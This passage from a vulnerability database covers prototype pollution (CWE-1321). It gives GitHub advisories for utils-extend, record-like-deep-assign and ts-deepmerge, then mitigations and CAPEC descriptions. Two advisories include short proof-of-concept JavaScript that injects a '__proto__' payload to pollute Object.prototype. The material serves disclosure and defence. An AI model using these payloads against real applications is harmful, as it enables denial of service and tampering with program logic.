"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2025-02-06T23:31:52Z",
"nvd_published_at": "2025-02-05T22:15:31Z",
"severity": "CRITICAL"
},
"details": "The latest version of utils-extend (1.0.8) is vulnerable to Prototype Pollution through the entry function(s) lib.extend. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.\n\n## PoC\n```js\nasync function exploit() {\n const utilsextend = require(\\\"utils-extend\\\");\n const payload = JSON.parse(\u0027{\\\"__proto__\\\":{\\\"exploited\\\":true}}\u0027);\n const result = await utilsextend.extend({}, payload);\n}\n\nawait exploit();\n```",
"id": "GHSA-7qgg-vw88-cc99",
"modified": "2025-09-03T15:22:41Z",
"published": "2025-02-06T06:31:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-57077"
},
{
"type": "WEB",
"url": "https://gist.github.com/tariqhawis/64bac50f8c2706e6880e45d50a507114"
},
{
"type": "PACKAGE",
"url": "https://github.com/douzi8/utils-extend"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "utils-extend Prototype Pollution"
}
GHSA-7QM6-9V49-38M9
Vulnerability from github – Published: 2021-12-10 18:55 – Updated: 2023-09-11 18:40
VLAI
Summary
Prototype Pollution in record-like-deep-assign
Details
All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality.
PoC
const deepAssign = require('record-like-deep-assign');
let obj = {};
console.log("Before being polluted: " + obj.polluted);
EVIL_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
deepAssign({}, EVIL_JSON);
console.log("After being polluted: " + obj.polluted);
Severity
7.3 (High)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "record-like-deep-assign"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-23402"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2021-07-06T14:32:33Z",
"nvd_published_at": "2021-07-02T16:15:00Z",
"severity": "HIGH"
},
"details": "All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality.\n\n### PoC\n```js\nconst deepAssign = require(\u0027record-like-deep-assign\u0027);\nlet obj = {};\nconsole.log(\"Before being polluted: \" + obj.polluted);\nEVIL_JSON = JSON.parse(\u0027{\"__proto__\":{\"polluted\":true}}\u0027);\ndeepAssign({}, EVIL_JSON);\nconsole.log(\"After being polluted: \" + obj.polluted);\n```",
"id": "GHSA-7qm6-9v49-38m9",
"modified": "2023-09-11T18:40:49Z",
"published": "2021-12-10T18:55:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23402"
},
{
"type": "PACKAGE",
"url": "https://github.com/kripod/record-like-deep-assign"
},
{
"type": "WEB",
"url": "https://github.com/kripod/record-like-deep-assign/blob/v1.0.1/src/mod.ts%23L17-L35"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-RECORDLIKEDEEPASSIGN-1311024"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Prototype Pollution in record-like-deep-assign"
}
GHSA-7QQQ-GH2F-WQ76
Vulnerability from github – Published: 2022-08-10 00:00 – Updated: 2022-08-15 20:13
VLAI
Summary
ts-deepmerge before 2.0.2 vulnerable to Prototype Pollution
Details
The package ts-deepmerge before version 2.0.2 is vulnerable to Prototype Pollution due to missing sanitization of the merge function.
Severity
9.8 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "ts-deepmerge"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-25907"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2022-08-11T18:13:21Z",
"nvd_published_at": "2022-08-09T05:15:00Z",
"severity": "CRITICAL"
},
"details": "The package ts-deepmerge before version 2.0.2 is vulnerable to Prototype Pollution due to missing sanitization of the `merge` function.",
"id": "GHSA-7qqq-gh2f-wq76",
"modified": "2022-08-15T20:13:34Z",
"published": "2022-08-10T00:00:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25907"
},
{
"type": "WEB",
"url": "https://github.com/voodoocreation/ts-deepmerge/commit/9be5148773343c57be9de39728d6ead18eddf10b"
},
{
"type": "PACKAGE",
"url": "https://github.com/voodoocreation/ts-deepmerge"
},
{
"type": "WEB",
"url": "https://github.com/voodoocreation/ts-deepmerge/releases/tag/2.0.2"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-JS-TSDEEPMERGE-2959975"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "ts-deepmerge before 2.0.2 vulnerable to Prototype Pollution"
}
Mitigation
Implementation
By freezing the object prototype first (for example, Object.freeze(Object.prototype)), modification of the prototype becomes impossible.
Mitigation
Architecture and Design
By blocking modifications of attributes that resolve to object prototype, such as proto or prototype, this weakness can be mitigated.
Mitigation
Implementation
Strategy: Input Validation
When handling untrusted objects, validating using a schema can be used.
Mitigation
Implementation
By using an object without prototypes (via Object.create(null) ), adding object prototype attributes by accessing the prototype via the special attributes becomes impossible, mitigating this weakness.
Mitigation
Implementation
Map can be used instead of objects in most cases. If Map methods are used instead of object attributes, it is not possible to access the object prototype or modify it.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-180: Exploiting Incorrectly Configured Access Control Security Levels
An attacker exploits a weakness in the configuration of access controls and is able to bypass the intended protection that these measures guard against and thereby obtain unauthorized access to the system or network. Sensitive functionality should always be protected with access controls. However configuring all but the most trivial access control systems can be very complicated and there are many opportunities for mistakes. If an attacker can learn of incorrectly configured access security settings, they may be able to exploit this in an attack.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.